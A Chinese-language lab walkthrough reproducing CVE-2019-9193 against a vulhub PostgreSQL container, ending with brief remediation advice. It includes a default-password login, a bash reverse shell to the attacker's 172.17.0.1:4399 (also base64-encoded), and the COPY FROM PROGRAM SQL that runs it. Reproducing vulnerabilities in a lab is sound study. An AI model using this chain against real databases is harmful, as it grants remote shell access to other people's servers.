CVE-2019-9193 PostgreSQL 高权限命令执行漏洞复现
一、漏洞介绍
任意命令执行:具有数据库服务器文件读取权限的攻击者可以利用此漏洞执行任意系统命令。
从 9.3 版本开始,Postgres 新增了一个 COPY TO/FROM PROGRAM 功能,允许数据库的超级用户以及 pg_read_server_files 组中的任何用户执行操作系统命令。
漏洞利用前提:
需要登陆;
需要高权限;
二、影响版本
受影响的版本(貌似更新版本无解)
PostgreSQL >= 9.3
漏洞复现
攻击机:kali(172.17.0.1)
靶机:kali使用docker-compose搭建的vulhub环境 postgres(0.0.0.0:5432)
docker-compose准备靶场
可以看到此时靶场映射到我本机的5432端口
弱密码登录
postgres
是postgreSQL的默认用户及密码。
psql
连接PostgreSQL命令
-U
用户名-h
目标IP-p
目标端口
在kali中输入命令psql -U postgres -h 0.0.0.0 -p 5432
,待提示输入口令后 输入密码postgres
反弹SHELL
我要让目标服务器打开一个终端,并将终端的输入输出重定向至我kali机的4399端口
先开启kali监听nc -lvvp 4399
构造反弹shell语句:/bin/bash -i >& /dev/tcp/172.17.0.1/4399 0>&1
bash -i 打开一个交互的bash
& 将标准错误输出重定向到标准输出
/dev/tcp/x.x.x.x/xxx 意为调用socket,建立socket连接,其中x.x.x.x为要反弹到的主机ip,port为端口
0>&1 0是文件描述符,标准输入重定向到标准输出,实现你与反弹出来的shell的交互
由于特殊符号可能被转义,所以用base64编码
/bin/bash -i >& /dev/tcp/172.17.0.1/4399 0>&1
→YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQzOTkgMD4mMQ==
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNy4wLjEvNDM5OSAwPiYx" | base64 -d | bash';
SELECT * FROM cmd_exec;
此时kali已收到监听
漏洞修复
1,pg_read_server_files,pg_write_server_files 和 pg_execute_server_program 角色涉及读取和写入具有大权限的数据库服务器文件。将此角色权限分配给数据库用户时,应慎重考虑;
2,增强密码的复杂度;
3,进行网络隔离,限制 IP 访问,只允许需要的 IP 连接;